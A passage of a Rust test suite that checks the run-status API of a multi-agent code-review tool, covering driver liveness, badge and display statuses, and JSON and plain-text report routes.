20354 assert!(observed["progress"]["activity"].is_string());
20355 for field in [
20356 "config",
20357 "candidates",
20358 "land_approval",
20359 "task",
20360 "waiting",
20361 "done",
20362 ] {
20363 assert!(
20364 observed.get(field).is_none(),
20365 "progress must not expose control evidence: {field}"
20366 );
20367 }
20368 }
20369
20370 #[tokio::test]
20377 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20378 let f = Fixture::start().await;
20379 let id = "20260922-090000-cccc";
20380 let mut state = RunState::new(
20381 PathBuf::from("/repo/magi"),
20382 "main".to_owned(),
20383 "0123456789abcdef".to_owned(),
20384 "Review only".to_owned(),
20385 Config::default(),
20386 );
20387 state.id = id.to_owned();
20388 state.status = RunStatus::Reviewing;
20389 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20390 state.driver_pid = Some(std::process::id());
20396 state.driver_started_at = Some(
20397 crate::proc::process_started_at(std::process::id())
20398 .expect("this test process's own start time must be queryable"),
20399 );
20400 let dir = f.runs().join(id);
20401 std::fs::create_dir_all(&dir).expect("run dir");
20402 std::fs::write(
20403 dir.join("run.json"),
20404 serde_json::to_string_pretty(&state).expect("serialize run"),
20405 )
20406 .expect("write run.json");
20407
20408 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20409 assert_eq!(detail["live"], "live", "{detail}");
20410 }
20411
20412 #[tokio::test]
20418 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20419 let f = Fixture::start().await;
20420 let id = "20260922-090100-dddd";
20421 let mut state = RunState::new(
20422 PathBuf::from("/repo/magi"),
20423 "main".to_owned(),
20424 "0123456789abcdef".to_owned(),
20425 "Review only".to_owned(),
20426 Config::default(),
20427 );
20428 state.id = id.to_owned();
20429 state.status = RunStatus::Reviewing;
20430 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20431 state.driver_pid = Some(std::process::id());
20436 state.driver_started_at = Some("1".to_owned());
20437 let dir = f.runs().join(id);
20438 std::fs::create_dir_all(&dir).expect("run dir");
20439 std::fs::write(
20440 dir.join("run.json"),
20441 serde_json::to_string_pretty(&state).expect("serialize run"),
20442 )
20443 .expect("write run.json");
20444
20445 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20446 assert_eq!(detail["live"], "dead", "{detail}");
20447 }
20448
20449 #[test]
20453 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20454 let mk = |id: &str, pid: Option<u32>| {
20455 let mut s = RunState::new(
20456 PathBuf::from("/repo/magi"),
20457 "main".to_owned(),
20458 "0123456789abcdef".to_owned(),
20459 "Add a web UI".to_owned(),
20460 Config::default(),
20461 );
20462 s.id = id.to_owned();
20463 s.driver_pid = pid;
20464 s.driver_started_at = Some("1790000000".to_owned());
20465 s
20466 };
20467 let states = vec![
20468 mk("20260902-140502-aaaa", Some(77)),
20469 mk("20260902-140502-bbbb", Some(77)),
20470 mk("20260902-140502-cccc", Some(77)),
20471 mk("20260902-140502-dddd", None),
20472 ];
20473 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20474 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20475 let sup: HashMap<String, String> = [(
20476 "20260902-140502-aaaa".to_owned(),
20477 "20260902-140502-cccc".to_owned(),
20478 )]
20479 .into();
20480
20481 let status_calls = std::cell::Cell::new(0);
20482 let identity_calls = std::cell::Cell::new(0);
20483 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20484 |_| {
20485 status_calls.set(status_calls.get() + 1);
20486 Some(true)
20487 },
20488 |_| {
20489 identity_calls.set(identity_calls.get() + 1);
20490 Some("1790000000".to_owned())
20491 },
20492 ));
20493 let rows = summarize(
20494 states,
20495 &open,
20496 &claimed,
20497 &sup,
20498 |p| probe.borrow_mut().status(p),
20499 |p| probe.borrow_mut().started_at(p),
20500 );
20501
20502 assert_eq!(status_calls.get(), 1, "one pid, one status query");
20503 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20504 assert_eq!(rows.len(), 4);
20505 assert!(!rows[0].waiting && rows[1].waiting);
20506 assert_eq!(rows[0].live, crate::run::Liveness::Live);
20507 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20508 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20509 assert_eq!(rows[1].superseded_by, None);
20510 }
20511
20512 #[test]
20513 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20514 let mut state = RunState::new(
20515 PathBuf::from("/repo/magi"),
20516 "main".to_owned(),
20517 "0123456789abcdef".to_owned(),
20518 "Review only".to_owned(),
20519 Config::default(),
20520 );
20521 state.id = "20260922-090200-dead".to_owned();
20522 state.status = RunStatus::Reviewing;
20523 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20524 .expect("serialize list row");
20525 assert_eq!(row["status"], "reviewing");
20526 assert_eq!(row["display_status"], "stale");
20527 assert_eq!(row["live"], "dead", "{row}");
20528 assert!(!row["done"].as_bool().unwrap());
20529 }
20530
20531 #[test]
20532 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20533 use crate::run::Liveness::{Dead, Live, Unknown};
20534 let mut state = RunState::new(
20535 PathBuf::from("/repo/magi"),
20536 "main".to_owned(),
20537 "abc".to_owned(),
20538 "Review only".to_owned(),
20539 Config::default(),
20540 );
20541 for (status, parked, node, waiting, live, expected) in [
20542 (
20543 RunStatus::Judging,
20544 true,
20545 "github-text",
20546 false,
20547 Dead,
20548 "parked",
20549 ),
20550 (RunStatus::Judging, false, "park", false, Dead, "stale"),
20551 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20552 (
20553 RunStatus::Judging,
20554 true,
20555 "github-text",
20556 true,
20557 Dead,
20558 "waiting",
20559 ),
20560 (
20561 RunStatus::Judging,
20562 false,
20563 "github-text",
20564 true,
20565 Dead,
20566 "waiting",
20567 ),
20568 (
20569 RunStatus::Judging,
20570 false,
20571 "github-text",
20572 false,
20573 Dead,
20574 "stale",
20575 ),
20576 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20577 (RunStatus::Judging, true, "park", false, Live, "judging"),
20578 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20579 (RunStatus::Merged, true, "park", false, Dead, "merged"),
20580 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20581 (
20582 RunStatus::Blocked,
20583 true,
20584 "github-text",
20585 true,
20586 Dead,
20587 "waiting",
20588 ),
20589 ] {
20590 state.status = status;
20591 state.parked = parked;
20592 state.events.clear();
20593 state.event(
20594 "park",
20595 "an earlier park does not determine the latest state",
20596 );
20597 state.event(node, "message is not used for classification");
20598 let summary = RunSummary::of(&state, waiting, live);
20599 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20600 assert_eq!(
20601 summary.display_status, expected,
20602 "{status:?}/{node}/{live:?}"
20603 );
20604 assert_eq!(detail.display_status, summary.display_status);
20605 assert_eq!(detail.waiting, summary.waiting);
20606 }
20607 state.status = RunStatus::Judging;
20608 state.parked = false;
20609 state.events.clear();
20610 assert_eq!(run_display_status(&state, false, Dead), "stale");
20611 }
20612
20613 #[test]
20614 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20615 use crate::run::Liveness::{Dead, Live, Unknown};
20616 let mut state = RunState::new(
20617 PathBuf::from("/repo/magi"),
20618 "main".to_owned(),
20619 "abc".to_owned(),
20620 "Badge".to_owned(),
20621 Config::default(),
20622 );
20623 for (status, waiting, live, superseded, expected) in [
20624 (RunStatus::Gating, false, Dead, false, "stale"),
20625 (RunStatus::Gating, false, Dead, true, "superseded"),
20626 (RunStatus::Gating, false, Unknown, true, "superseded"),
20627 (RunStatus::Gating, true, Dead, true, "superseded"),
20628 (RunStatus::Gating, true, Dead, false, "waiting"),
20629 (RunStatus::Gating, false, Unknown, false, "gating"),
20630 (RunStatus::Gating, false, Live, true, "gating"),
20631 (RunStatus::Gating, true, Live, true, "waiting"),
20632 (RunStatus::Merged, false, Dead, true, "merged"),
20633 (RunStatus::Blocked, false, Dead, true, "blocked"),
20634 ] {
20635 state.status = status;
20636 let display = run_display_status(&state, waiting, live);
20637 assert_eq!(
20638 run_badge_status(&state, &display, live, superseded),
20639 expected,
20640 "{status:?}/{live:?}/superseded={superseded}"
20641 );
20642 }
20643 }
20644
20645 #[test]
20646 fn summarize_and_detail_expose_badge_status() {
20647 use crate::run::Liveness::Dead;
20648 let mut state = RunState::new(
20649 PathBuf::from("/repo/magi"),
20650 "main".to_owned(),
20651 "abc".to_owned(),
20652 "Badge".to_owned(),
20653 Config::default(),
20654 );
20655 state.status = RunStatus::Gating;
20656 let none = HashSet::new();
20657 let id = state.id.clone();
20658 let mut by = HashMap::new();
20659 let rows = summarize(
20660 [state.clone()],
20661 &none,
20662 &none,
20663 &by,
20664 |_| Some(false),
20665 |_| None,
20666 );
20667 assert_eq!(rows[0].badge_status, rows[0].display_status);
20669 by.insert(id, "20260901-000000-913b".to_owned());
20670 let detail = RunDetailView::of(
20671 state.clone(),
20672 false,
20673 Dead,
20674 Some("913b".to_owned()),
20675 None,
20676 None,
20677 );
20678 assert_eq!(detail.badge_status, "superseded");
20679 let json = serde_json::to_value(&detail).unwrap();
20680 assert_eq!(json["badge_status"], "superseded");
20681 let detail = RunDetailView::of(state, false, Dead, None, None, None);
20682 assert_eq!(detail.badge_status, "stale");
20683 }
20684
20685 #[tokio::test]
20686 async fn run_display_status_routes_share_the_open_question_store() {
20687 let f = Fixture::start().await;
20688 let id = "20260922-090200-abcd";
20689 write_run(&f.runs(), id, RunStatus::Judging);
20690 let mut state = read_run(&f.runs(), id).unwrap();
20691 state.parked = true;
20692 state.driver_exited = true;
20693 state.event("github-text", "waiting for the owner");
20694 state.save_under(f.home.path()).unwrap();
20695 let mut task = Task::new(
20696 "resumed task".to_owned(),
20697 "do it".to_owned(),
20698 PathBuf::from("/repo"),
20699 Source::Human,
20700 );
20701 task.runs = vec![id.to_owned(), id.to_owned()];
20702 f.queue().put(&mut task).unwrap();
20703 let store = f.questions();
20704 let mut q = Question::new(
20705 id.to_owned(),
20706 "github-text".to_owned(),
20707 "owner".to_owned(),
20708 "Approve the text?".to_owned(),
20709 String::new(),
20710 Vec::new(),
20711 );
20712 store.put(&mut q).unwrap();
20713 for expected in ["waiting", "parked"] {
20714 let list = f.get("/api/runs").await.json();
20715 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20716 assert_eq!(list[0]["display_status"], expected);
20717 assert_eq!(detail["display_status"], expected);
20718 assert_eq!(detail["waiting"], list[0]["waiting"]);
20719 assert_eq!(list[0]["badge_status"], expected);
20720 assert_eq!(detail["badge_status"], expected);
20721 assert!(list[0]["superseded_by"].is_null());
20722 assert!(detail["superseded_by"].is_null());
20723 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20724 let history = task_detail["history"].as_array().unwrap();
20725 assert_eq!(history.len(), 2);
20726 assert!(history[0]["badge"].is_null());
20727 assert_eq!(history[1]["badge"], expected);
20728 q.status = ask::QuestionStatus::Answered;
20729 store.put(&mut q).unwrap();
20730 }
20731 }
20732
20733 #[tokio::test]
20734 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20735 let f = Fixture::start().await;
20736 let id = "20260922-090200-abcd";
20737 write_run(&f.runs(), id, RunStatus::Judging);
20738 let mut state = read_run(&f.runs(), id).unwrap();
20739 state.parked = true;
20740 state.driver_exited = true;
20741 state.event("park", "stopped at a node boundary");
20742 state.save_under(f.home.path()).unwrap();
20743
20744 for expected in ["parked", "stale"] {
20745 let list = f.get("/api/runs").await.json();
20746 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20747 assert_eq!(list[0]["live"], "dead");
20748 assert_eq!(list[0]["display_status"], expected);
20749 assert_eq!(detail["display_status"], expected);
20750 state.parked = false;
20753 state.save_under(f.home.path()).unwrap();
20754 }
20755 }
20756
20757 #[tokio::test]
20758 async fn the_run_list_is_newest_first_and_honours_a_limit() {
20759 let f = Fixture::start().await;
20760 for id in [
20761 "20260902-140501-aaaa",
20762 "20260902-140502-bbbb",
20763 "20260902-140503-cccc",
20764 ] {
20765 write_run(&f.runs(), id, RunStatus::Merged);
20766 }
20767
20768 let all = f.get("/api/runs").await.json();
20769 let capped = f.get("/api/runs?limit=2").await.json();
20770
20771 assert_eq!(all[0]["id"], "20260902-140503-cccc");
20772 assert_eq!(all.as_array().map(Vec::len), Some(3));
20773 assert_eq!(capped.as_array().map(Vec::len), Some(2));
20774 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20775 }
20776
20777 #[tokio::test]
20778 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20779 let f = Fixture::start().await;
20780 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20781
20782 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20783
20784 assert_eq!(res.status, 200);
20785 assert!(
20786 res.headers
20787 .contains("content-type: text/plain; charset=utf-8"),
20788 "a browser must render it, not download it: {}",
20789 res.headers
20790 );
20791 assert!(
20795 res.body.contains("20260902-140501-a1b2"),
20796 "the report is about the run that was asked for: {}",
20797 res.body
20798 );
20799 }
20800
20801 #[tokio::test]
20802 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20803 crate::run::pin_test_home();
20805 let f = Fixture::start().await;
20806 let id = "20260902-140501-a1b2";
20807 write_run(&f.runs(), id, RunStatus::Stalled);
20808 let path = f.runs().join(id).join("run.json");
20811 let mut v: serde_json::Value =
20812 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20813 v["tally"] = serde_json::json!({
20814 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20815 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20816 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20817 "met_quorum": false, "rankings": 1
20818 });
20819 v["reviews"] = serde_json::json!([{
20820 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20821 "e2e_deferred": true,
20822 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20823 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20824 ]}]
20825 }]);
20826 std::fs::write(&path, v.to_string()).unwrap();
20827 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20828 std::fs::write(
20829 f.runs().join("20260902-140502-dead").join("run.json"),
20830 "{not json",
20831 )
20832 .unwrap();
20833
20834 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20835
20836 assert_eq!(res.status, 200, "{}", res.body);
20837 assert!(res.headers.contains("content-type: application/json"));
20838 let j = res.json();
20839 assert_eq!(j["schema"], 1);
20840 assert_eq!(j["header"]["id"], id);
20841 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20842 let kinds: Vec<&str> = j["sections"]
20843 .as_array()
20844 .unwrap()
20845 .iter()
20846 .map(|s| s["kind"].as_str().unwrap())
20847 .collect();
20848 assert_eq!(kinds, ["candidates", "tally", "review"]);
20849 let tally = &j["sections"][1]["tally"];
20850 assert_eq!(
20851 (tally["decided"].clone(), tally["provisional"].clone()),
20852 (false.into(), true.into())
20853 );
20854 let round = &j["sections"][2]["rounds"][0];
20855 assert_eq!(round["e2e"]["state"], "deferred");
20856 assert_eq!(round["findings"][0]["severity"], "major");
20857 assert_eq!(round["findings"][0]["blocking"], true);
20858 assert_eq!(round["findings"][0]["state"], "open");
20859
20860 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20862
20863 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20865 assert_ne!(bad.status, 200, "{}", bad.body);
20866 assert_eq!(
20867 bad.status,
20868 f.get("/api/runs/20260902-140502-dead/report").await.status
20869 );
20870 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20871 assert_eq!(
20872 f.get("/api/runs/20260902-999999-ffff/report.json")
20873 .await
20874 .status,
20875 404
20876 );
20877 }
20878
20879 #[tokio::test]
20880 async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
20881 crate::run::pin_test_home();
20882 let f = Fixture::start().await;
20883 let id = "20260902-140505-facts";
20884 write_run(&f.runs(), id, RunStatus::Stalled);
20885 let path = f.runs().join(id).join("run.json");
20886 let mut v: serde_json::Value =
20887 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20888 v["candidates"] = serde_json::json!([{
20889 "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
20890 "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
20891 }]);
20892 v["tally"] = serde_json::json!({
20893 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20894 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20895 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20896 "met_quorum": false, "rankings": 1
20897 });
20898 v["quota"] = serde_json::json!([
20899 {
20900 "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
20901 "agent": "signed-out", "cause": "authentication"
20902 },
20903 {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
20904 ]);
20905 v["startup"] = serde_json::json!({
20906 "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
20907 "failure": "fetch refused\ncredentials expired"
20908 });
20909 v["recovery"] = serde_json::json!({
20910 "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
20911 "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
20912 "repair": {"started": {"before": "abcdef012345"}}
20913 });
20914 v["reviews"] = serde_json::json!([{
20915 "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
20916 "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
20917 "vote_split": true, "verdict": "approve_with_findings",
20918 "e2e": [{
20919 "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
20920 }],
20921 "reviews": [
20922 {"reviewer": 1, "agent": "reviewer", "vote": "reject",
20923 "summary": "Initial **concern**.\n\nPlease inspect.",
20924 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
20925 {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
20926 ],
20927 "reconsideration": [{
20928 "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
20929 "reason": "The blocker is resolved.\nOne minor issue remains."
20930 }]
20931 }]);
20932 v["merge_repairs"] = serde_json::json!([{
20933 "question": "question-42", "head": "abcdef012345",
20934 "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
20935 "gate": [], "phase": "Failed",
20936 "failure": "owner decision required\ninspect updated results"
20937 }]);
20938 v["bump_decision_attempts"] = serde_json::json!([
20939 {"agent": "first", "outcome": "unavailable"},
20940 {"agent": "second", "outcome": "patch\naccepted"}
20941 ]);
20942 v["release_bump"] = serde_json::json!({
20943 "version": "1.2.3", "local": true,
20944 "problem": "publish failed\nregistry refused",
20945 "release": {
20946 "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
20947 "failed": "registry refused\nawait owner approval",
20948 "log": [{
20949 "name": "cargo publish", "code": 1,
20950 "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
20951 }]
20952 }
20953 });
20954 std::fs::write(&path, v.to_string()).unwrap();
20955
20956 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20957 assert_eq!(res.status, 200, "{}", res.body);
20958 let j = res.json();
20959 assert_eq!(j["schema"], 1);
20960 assert_eq!(j["header"]["tone"], "warn");
20961 assert_eq!(
20962 j["header"]["startup"],
20963 "review branch=topic stage=fetch complete=false"
20964 );
20965 assert_eq!(
20966 j["header"]["startup_failure"],
20967 "fetch refused\ncredentials expired"
20968 );
20969 assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
20970 assert_eq!(
20971 j["sections"][0]["items"][0]["detail"],
20972 "Already covered.\nNo patch needed."
20973 );
20974 assert_eq!(
20975 j["sections"][1]["tally"]["rate_limited"],
20976 serde_json::json!(["judge-1", "judge-2"])
20977 );
20978 let sections = j["sections"].as_array().unwrap();
20979 let labels: Vec<_> = sections
20980 .iter()
20981 .map(|section| {
20982 section["key"]
20983 .as_str()
20984 .or_else(|| section["kind"].as_str())
20985 .unwrap()
20986 })
20987 .collect();
20988 assert_eq!(
20989 labels,
20990 [
20991 "candidates",
20992 "tally",
20993 "quota_details",
20994 "recovery",
20995 "review",
20996 "merge_repairs",
20997 "release_decision_attempts",
20998 "release_bump",
20999 "release_execution"
21000 ]
21001 );
21002 let note = |key: &str| {
21003 sections
21004 .iter()
21005 .find(|section| section["kind"] == "notes" && section["key"] == key)
21006 .unwrap()
21007 };
21008 let unavailable = note("quota_details");
21009 assert_eq!(unavailable["tone"], "warn");
21010 assert_eq!(
21011 unavailable["lines"],
21012 serde_json::json!([
21013 "judge-1 (signed-out: re-authenticate)",
21014 "judge-2 (usage limit)"
21015 ])
21016 );
21017 let recovery = note("recovery");
21018 assert_eq!(recovery["tone"], "warn");
21019 assert!(
21020 recovery["lines"][0]
21021 .as_str()
21022 .unwrap()
21023 .contains("head moved\nreview the new diff")
21024 );
21025 assert_eq!(
21026 recovery["lines"][1],
21027 "the task's own completion criteria were kept"
21028 );
21029 assert_eq!(recovery["lines"][2], "repair: unfinished");
21030 let review = sections
21031 .iter()
21032 .find(|section| section["kind"] == "review")
21033 .unwrap();
21034 assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21035 let round = &review["rounds"][0];
21036 assert_eq!(round["verified_head"], "fedcba9");
21037 assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21038 assert_eq!(round["status"], "incomplete");
21039 assert_eq!(round["e2e"]["state"], "pass");
21040 assert_eq!(round["reviewers"][0]["vote"], "reject");
21041 assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21042 assert_eq!(
21043 round["reviewers"][0]["reason"],
21044 "Initial **concern**.\n\nPlease inspect."
21045 );
21046 assert!(
21047 !round["reviewers"][0]["reason_md"]
21048 .as_array()
21049 .unwrap()
21050 .is_empty()
21051 );
21052 assert!(round["reviewers"][1]["final_vote"].is_null());
21053 assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21054 assert_eq!(
21055 round["reconsideration"][0]["reason"],
21056 "The blocker is resolved.\nOne minor issue remains."
21057 );
21058 assert!(
21059 !round["reconsideration"][0]["reason_md"]
21060 .as_array()
21061 .unwrap()
21062 .is_empty()
21063 );
21064 let repairs = note("merge_repairs");
21065 assert_eq!(repairs["tone"], "warn");
21066 assert_eq!(
21067 repairs["lines"][0],
21068 "question question-42 head abcdef012345 Failed\nhttps://example.test/pull/42"
21069 );
21070 assert_eq!(
21071 repairs["lines"][1],
21072 "held: owner decision required\ninspect updated results"
21073 );
21074 assert_eq!(
21075 repairs["lines"][2],
21076 "original [R1-1-1] Minor: Check edge case"
21077 );
21078 assert_eq!(
21079 repairs["lines"][3],
21080 "original reviewer #1: ApproveWithFindings"
21081 );
21082 assert_eq!(
21083 repairs["lines"][4],
21084 "Repair never approves a merge; updated results require a fresh owner decision."
21085 );
21086 let attempts = note("release_decision_attempts");
21087 assert_eq!(attempts["tone"], "neutral");
21088 assert_eq!(
21089 attempts["lines"],
21090 serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21091 );
21092 let bump = sections
21093 .iter()
21094 .find(|section| section["kind"] == "release_bump")
21095 .unwrap();
21096 assert_eq!(bump["bump"]["automerge"], "local");
21097 assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21098 assert_eq!(bump["tone"], "warn");
21099 let execution = note("release_execution");
21100 assert_eq!(execution["tone"], "warn");
21101 assert_eq!(
21102 execution["lines"][0],
21103 "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21104 );
21105 assert_eq!(
21106 execution["lines"][1],
21107 "tag on remote: true; 1 command(s) completed"
21108 );
21109 assert_eq!(
21110 execution["lines"][2],
21111 "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21112 );
21113
21114 let raw = f.get(&format!("/api/runs/{id}/report")).await;
21116 assert_eq!(raw.status, 200);
21117 assert!(
21118 raw.headers
21119 .contains("content-type: text/plain; charset=utf-8")
21120 );
21121 assert!(raw.body.contains("fetch refused\ncredentials expired"));
21122 assert!(raw.body.contains("Already covered."));
21123 assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21124 assert!(raw.body.contains("judge-2 (usage limit)"));
21125 assert!(
21126 raw.body
21127 .contains("owner decision required\ninspect updated results")
21128 );
21129 assert!(raw.body.contains("2. second: patch\naccepted"));
21130 assert!(raw.body.contains(
21131 "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21132 ));
21133
21134 let legacy_id = "20260902-140506-old";
21136 write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21137 let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21138 assert_eq!(legacy.status, 200, "{}", legacy.body);
21139 let legacy = legacy.json();
21140 assert!(legacy["header"]["startup"].is_null());
21141 assert!(legacy["header"]["startup_failure"].is_null());
21142 assert!(
21143 legacy["sections"]
21144 .as_array()
21145 .unwrap()
21146 .iter()
21147 .all(|section| section["kind"] != "notes")
21148 );
21149 }
21150
21151 #[tokio::test]
21152 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21153 crate::run::pin_test_home();
21154 let f = Fixture::start().await;
21155 let id = "20260902-140503-delib";
21156 write_run(&f.runs(), id, RunStatus::Merged);
21157 let path = f.runs().join(id).join("run.json");
21158 let mut v: serde_json::Value =
21159 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21160 v["judgements"] = serde_json::json!([
21161 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21162 ]);
21163 v["tally"] = serde_json::json!({
21164 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21165 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21166 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21167 "met_quorum": true, "rankings": 1
21168 });
21169 v["deliberation"] = serde_json::json!([
21170 {
21171 "round": 1,
21172 "turns": [
21173 {
21174 "judge": 1,
21175 "agent": "judge-1",
21176 "body": "I prefer candidate **A** because it has cleaner tests.",
21177 "tentative": "A"
21178 }
21179 ]
21180 },
21181 {
21182 "round": 2,
21183 "turns": [
21184 {
21185 "judge": 1,
21186 "agent": "judge-1",
21187 "body": "Still thinking, no choice yet.",
21188 "tentative": null
21189 }
21190 ]
21191 }
21192 ]);
21193 std::fs::write(&path, v.to_string()).unwrap();
21194
21195 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21196 assert_eq!(res.status, 200, "{}", res.body);
21197 let j = res.json();
21198 let judging = j["sections"]
21199 .as_array()
21200 .unwrap()
21201 .iter()
21202 .find(|s| s["kind"] == "judging")
21203 .expect("judging section exists");
21204
21205 let delib_lines = judging["deliberation"].as_array().unwrap();
21207 assert_eq!(delib_lines.len(), 2);
21208 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21209 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21210
21211 let rounds = judging["rounds"].as_array().unwrap();
21213 assert_eq!(rounds.len(), 2);
21214 let r1_t0 = &rounds[0]["turns"][0];
21215 assert_eq!(r1_t0["judge"], 1);
21216 assert_eq!(r1_t0["agent"], "judge-1");
21217 assert_eq!(r1_t0["tentative"], "A");
21218 assert_eq!(
21219 r1_t0["body"],
21220 "I prefer candidate **A** because it has cleaner tests."
21221 );
21222 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21223
21224 let r2_t0 = &rounds[1]["turns"][0];
21225 assert_eq!(r2_t0["judge"], 1);
21226 assert_eq!(r2_t0["agent"], "judge-1");
21227 assert!(r2_t0["tentative"].is_null());
21228 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
21229 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21230
21231 let id_empty = "20260902-140504-nodelib";
21233 write_run(&f.runs(), id_empty, RunStatus::Merged);
21234 let path_empty = f.runs().join(id_empty).join("run.json");
21235 let mut v_empty: serde_json::Value =
21236 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
21237 v_empty["judgements"] = serde_json::json!([
21238 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21239 ]);
21240 v_empty["deliberation"] = serde_json::json!([]);
21241 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
21242
21243 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
21244 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
21245 let j_empty = res_empty.json();
21246 let judging_empty = j_empty["sections"]
21247 .as_array()
21248 .unwrap()
21249 .iter()
21250 .find(|s| s["kind"] == "judging")
21251 .expect("judging section exists");
21252 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
21253 }
21254
21255 #[tokio::test]
21256 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
21257 let f = Fixture::start().await;
21258
21259 let html = f.get("/").await;
21260 let css = f.get("/app.css").await;
21261 let js = f.get("/app.js").await;
21262
21263 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
21264 assert!(
21265 html.headers
21266 .contains("content-type: text/html; charset=utf-8")
21267 );
21268 assert!(css.headers.contains("content-type: text/css"));
21269 assert!(js.headers.contains("content-type: text/javascript"));
21270 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
21271 }
21272
21273 #[test]
21274 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
21275 let body = |name: &str| {
21276 let at = APP_JS
